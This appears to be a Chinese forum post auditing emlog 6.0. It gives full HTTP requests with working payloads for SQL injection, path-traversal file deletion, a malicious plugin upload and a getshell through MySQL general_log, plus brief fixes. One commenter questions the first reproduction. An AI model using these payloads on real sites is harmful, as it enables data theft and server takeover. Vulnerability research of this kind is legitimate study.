关于emlog6.0代码审计

xzz   ·   发表于 2024-01-03 20:54:46   ·   代码审计
  1. 新手学习代码审计,记录审计成长过程,先从简单入手。

1、后台标签删除处存在1处sql注入

漏洞条件

  1. 漏洞url: http://emlog6.0.com/admin/tag.php?action=dell_all_tag
  2. 漏洞参数:tag[xx]
  3. 是否存在限制:无
  4. 是否还有其他条件:action=dell_all_tag,token

复现

  1. POST /admin/tag.php?action=dell_all_tag HTTP/1.1
  2. Host: emlog6.0.com
  3. Content-Length: 65
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://emlog6.0.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://emlog6.0.com/admin/tag.php
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: em_advset=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=oqlj6bcle1k5ukcrfnj52e99j4; EM_AUTHCOOKIE_MplDHGA7WnMHlJcetCXbqfVJOSdPCZEb=emm666%7C%7C0284ab7039de5516859580dcfca2e03a; EM_TOKENCOOKIE_5981f06dafb0e1c6acd33302c370c4dd=f03cfe2175392b6fea4d5d25ef72278f
  14. Connection: close
  15. c%5B111+or+sleep(1)%5D=1&token=f03cfe2175392b6fea4d5d25ef72278f
  1. 查看延时的倍数

代码

  1. tags变量键值分离,针对键做了数据库操作

修复建议

  1. 对用户的输入验证和过滤。使用预编译和转义函数。

2、后台评论处评论者标签下来自处存在1处sql注入

漏洞条件

  1. 漏洞url: http://emlog6.0.com/admin/comment.php?action=delbyip&ip=127.0.0.1&token=ee4b851eb3f103685da3bbbdd7837051
  2. 漏洞参数:ip
  3. 是否存在限制:单引号闭合;需要登录后台获取token
  4. 是否还有其他条件:action=delbyip&ip=&token参数都必须存在

复现

  1. payload' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

  1. GET /admin/comment.php?action=delbyip&ip=1'and+updatexml(1,concat(0x7e,(SELECT+%40%40version),0x7e),1)--+kjdX&token=123e2dd43ef80874d0fe4975866fdf19 HTTP/1.1
  2. Host: emlog6.0.com
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Referer: http://emlog6.0.com/admin/comment.php?active_del=1
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: em_advset=block; em_sort_new=inline-block; PHPSESSID=2i21vnksbvj4kjcntdm2tq8265; EM_AUTHCOOKIE_Di1QoHFKhsmGv58a4JrR5r2U8w3TS3wz=admin%7C%7Cea43ac510b8f06cad8d2bbf9f032c6a6; EM_TOKENCOOKIE_db64d83ec02ed684b1f95dd4423692cb=123e2dd43ef80874d0fe4975866fdf19; em_logpwd_3=9999; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F
  10. Connection: close

代码

  1. get接收ip变量没有使用addslashesh函数过滤,sql语句里有单引号,直接闭合就可以

修复建议

  1. 对用户的输入验证和过滤。使用预编译和转义函数

3、后台外观-导航-添加页面到导航添加处存在2处sql报错注入

漏洞条件

  1. 漏洞url: http://emlog6.0.com/admin/navbar.php?action=add_page
  2. 漏洞参数:pages[x]=y
  3. 是否存在限制:无
  4. 是否还有其他条件:action=add_page

复现

  1. 第一处
  1. POST /admin/navbar.php?action=add_page HTTP/1.1
  2. Host: emlog6.0.com
  3. Content-Length: 94
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://emlog6.0.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://emlog6.0.com/admin/navbar.php?error_e=1
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: em_advset=block; em_sort_new=inline-block; em_link_new=inline-block; em_custom_text_new=inline-block; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=pk3dk4qk2v7s89ef1e7ckm7851; EM_AUTHCOOKIE_Di1QoHFKhsmGv58a4JrR5r2U8w3TS3wz=admin%7C%7Cea43ac510b8f06cad8d2bbf9f032c6a6; EM_TOKENCOOKIE_db64d83ec02ed684b1f95dd4423692cb=24225d813e551487a6648954b0b94a32; em_logpwd_9=1234567
  14. Connection: close
  15. pages%5B6%5D=2'+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+database()),0x7e),8959)+AND+'RNzK'%3d'RNzK

  1. 第二处
  1. POST /admin/navbar.php?action=add_page HTTP/1.1
  2. Host: emlog6.0.com
  3. Content-Length: 96
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://emlog6.0.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://emlog6.0.com/admin/navbar.php?error_e=1
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: em_advset=block; em_plugin_new=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec; postermail=22%40qq.com; commentposter=aaa; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f
  14. Connection: close
  15. pages%5B2+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+database()),0x7e),8959)+AND+'RNzK'%3d'RNzK'%5D=111

代码

  1. 如果 pages 参数存在并且有值,则将其值赋给变量 $pages,否则将 $pages 赋值为空数组。遍历了一个名为 $pages 的数组。在每次迭代中,它从数组中取出一个键值对,其中键是 $id,而值是 $title。从接收到sql语句都没有任何过滤

修复建议

  1. 对用户的输入验证和过滤。使用预编译和转义函数。

4、后台外观-侧边栏保存组件排序处存在1处sql注入

漏洞条件

  1. 漏洞url: http://emlog6.0.com/admin/widgets.php?action=compages
  2. 漏洞参数:widgets[]
  3. 是否存在限制:无
  4. 是否还有其他条件:action=compages

复现

  1. POST /admin/widgets.php?action=compages HTTP/1.1
  2. Host: emlog6.0.com
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
  4. Content-Length: 125
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Language: zh-CN,zh;q=0.9
  7. Cache-Control: max-age=0
  8. Content-Type: application/x-www-form-urlencoded
  9. Cookie: em_advset=block; em_sort_new=inline-block; em_custom_text_new=inline-block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=1k2r5e2fgke63vjqv3gbn1mkf6; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=3727215c7d05ed0180fa46f6b4043bd7
  10. Origin: http://emlog6.0.com
  11. Referer: http://emlog6.0.com/admin/widgets.php?activated=1
  12. Upgrade-Insecure-Requests: 1
  13. Accept-Encoding: gzip
  14. wgnum=1&widgets%5B%5D=search&widgets%5B%5D=archive&widgets%5B%5D=link'and/**/extractvalue(1,concat(char(126),database()))and'

代码

  1. widgets参数存在就将它序列化,不存在赋值为空

  1. 如果 $isSyntax 的值为假,即值为0或为空,$value 则被赋值为在其两侧加上单引号的字符串,即 ' . $value . '

修复建议

  1. 对用户的输入验证和过滤。使用预编译和转义函数。

5、后台系统-数据库备份删除处存在任意文件删除

漏洞条件

  1. 漏洞url: http://emlog6.0.com/admin/data.php?action=dell_all_bak
  2. 漏洞参数:bak[]
  3. 是否存在限制:无
  4. 是否还有其他条件:action=dell_all_bak

复现

  1. 在自己的文件夹创建文件,可实现跨目录删除文件
  1. POST /admin/data.php?action=dell_all_bak HTTP/1.1
  2. Host: emlog6.0.com
  3. Content-Length: 27
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://emlog6.0.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://emlog6.0.com/admin/data.php
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: em_advset=block; em_plugin_new=block; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec
  14. Connection: close
  15. bak%5B%5D=../../../../1.txt

代码

  1. bak参数存在且是数组,就会执行删除操作

修复建议

  1. 加强用户输入验证,并限制用户所能删除的文件范围。

6、后台系统-插件处存在1处文件上传漏洞

漏洞条件

  1. 漏洞url: http://emlog6.0.com/admin/plugin.php?action=upload_zip
  2. 漏洞参数:filename
  3. 是否存在限制:上传的文件和文件夹的名字相同
  4. 是否还有其他条件:action=upload_zipname=pluzip

复现

  1. POST /admin/plugin.php?action=upload_zip HTTP/1.1
  2. Host: emlog6.0.com
  3. Content-Length: 629
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://emlog6.0.com
  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2DpnCXUHc5otIBms
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://emlog6.0.com/admin/plugin.php
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: em_advset=block; em_plugin_new=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec; postermail=22%40qq.com; commentposter=aaa; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f
  14. Connection: close
  15. ------WebKitFormBoundary2DpnCXUHc5otIBms
  16. Content-Disposition: form-data; name="pluzip"; filename="text.zip"
  17. Content-Type: application/x-zip-compressed
  18. 请求内容不显示:PK

  1. 上传后直接访问解压后的文件

代码

  1. 先判断上传的文件是否存在,如存在就判断上传的后缀是否为zip,在将上传的zip文件进行解压操作

  1. 对压缩包里的文件名称进行判断,如果压缩包名称为test则压缩包里必须存在test.php文件,否者会进行报错

修复建议

  1. 修复文件上传漏洞需要限制上传文件类型、验证文件的MIME类型、设置文件上传大小限制、实施恶意文件扫描,以及避免执行上传的文件,从而确保服务器的安全性。

7、后台数据库备份拿shell

漏洞条件

  1. 漏洞url: http://emlog6.0.com/admin/data.php?action=import
  2. 漏洞参数:
  3. 是否存在限制:需要高数据库权限
  4. 是否还有其他条件:action=importname=sqlfile filename=参数存在

复现

  1. 数据库拿shell主要有两种方式:
  2. 一、select into outfile 利用需要的条件有:
  3. web目录需要有写权限;
  4. 能够使用单引号;
  5. 知道绝对路径;
  6. secure-file-priv值必须为空(不能为null)
  7. 二、开启mysql日志记录general_log,将日志写入特定目录下,利用条件有:
  8. web目录需要要写权限;
  9. 能够使用单引号;
  10. 知道绝对路径;
  11. 能够执行多行sql语句。

  1. 第一种方法,先备份sql语句,在其基础上插入select “<?php phpinfo(); ?>” into outfile eval.php’语句就ok了,但是默认secure-file-privnull,这个方法行不通。
  2. - 其中当参数 secure_file_priv 为空时,对导入导出无限制
  3. - secure_file_priv 值为一个指定的目录时,只能向指定的目录导入导出
  4. - secure_file_priv 值被设置为NULL时,禁止导入导出功能

  1. 第二种方法:数据库备份-编辑备份内容-导入编辑好的sql文件,直接访问生成的文件
  1. #开启日志记录
  2. set global general_log='on';
  3. #设置日志记录的路径
  4. SET global general_log_file='D:/phpstudy_pro/WWW/cms/emlog_6.0.0/src/eval1.php';
  5. #任意查询恶意内容都会被保存到日志
  6. SELECT '<?php phpinfo();?>';
  1. 注意:开启sql日志记录和设置日志路径文件需要高数据库权限

  1. 当前网站的数据库权限为,cms安装时选择的用户,

  1. 详细请求数据包
  1. POST /admin/data.php?action=import HTTP/1.1
  2. Host: emlog6.0.com
  3. Content-Length: 1086
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://emlog6.0.com
  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfPRivdhzWTTFgYdA
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://emlog6.0.com/admin/data.php
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: em_advset=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=0b2864j2ah3vhq7ouift3i53i3; EM_AUTHCOOKIE_I8ovfEdc33MzTKkbau3AYXkL5WEBeWQF=emm666%7C%7Cd989e69e972e2e1e490cd83d89356916; EM_TOKENCOOKIE_8bd3e1f19392195216b74e3a316ab187=d1709c4b7c5cadfa5c1e988f39e0eed1; EM_AUTHCOOKIE_MplDHGA7WnMHlJcetCXbqfVJOSdPCZEb=emm666%7C%7C0284ab7039de5516859580dcfca2e03a; EM_TOKENCOOKIE_5981f06dafb0e1c6acd33302c370c4dd=0d1a684b7b31b8048948247ab4fce60f
  14. Connection: close
  15. ------WebKitFormBoundaryfPRivdhzWTTFgYdA
  16. Content-Disposition: form-data; name="token"
  17. 0d1a684b7b31b8048948247ab4fce60f
  18. ------WebKitFormBoundaryfPRivdhzWTTFgYdA
  19. Content-Disposition: form-data; name="sqlfile"; filename="emlog_20240102_213007.sql"
  20. Content-Type: application/octet-stream
  21. #version:emlog 6.0.0
  22. #date:2024-01-02 21:30
  23. #tableprefix:emlog_
  24. DROP TABLE IF EXISTS emlog_link;
  25. set global general_log='on';
  26. SET global general_log_file='D:/phpstudy_pro/WWW/cms/emlog_6.0.0/src/eval99.php';
  27. SELECT '<?php phpinfo();?>';
  28. CREATE TABLE `emlog_link` (
  29. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  30. `sitename` varchar(30) NOT NULL DEFAULT '',
  31. `siteurl` varchar(75) NOT NULL DEFAULT '',
  32. `description` varchar(255) NOT NULL DEFAULT '',
  33. `hide` enum('n','y') NOT NULL DEFAULT 'n',
  34. `taxis` int(10) unsigned NOT NULL DEFAULT '0',
  35. PRIMARY KEY (`id`)
  36. ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
  37. INSERT INTO emlog_link VALUES('1','emlog.net','http://www.emlog.net','emlog官方主页','n','0');
  38. #the end of backup
  39. ------WebKitFormBoundaryfPRivdhzWTTFgYdA--

  1. 直接访问即可

  1. 此时数据库的记录已经开启,且写入文件为上面的指定php文件,我们很多设计到数据库的操作都会被记录,
  2. 比如用户登录的时候,一定会将传入的账户密码带入数据库查询,我们可以直接在登录的时候,传入payload:<?php system(calc);?>
  3. 然后刷新日志文件eval99.php即可触发

代码

  1. 导入备份文件,日志默认记录,被配文件会被日志执行sql语句

修复建议

  1. 修复GetShell漏洞的方式是严格限制并检查文件上传,设置正确的文件权限,以及合理配置服务器以防止不安全的文件执行。
用户名金币积分时间理由
Track-魔方 400.00 0 2024-01-04 20:08:42 深度 100 普适 100 可读 200

打赏我,让我更有动力~

2 条回复   |  直到 3天前 | 519 次浏览

学kali的小白
发表于 9个月前

我想问下第一个漏洞,按照代码的意思是需要post传参tags参数,你复现的里面都没有传入tags参数,怎么复现出来的

评论列表

  • 加载数据中...

编写评论内容

gwkxw1nz0zqp
发表于 3天前

第六个漏洞是怎么看到文件上传路径的,有没有插件,安装一下

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.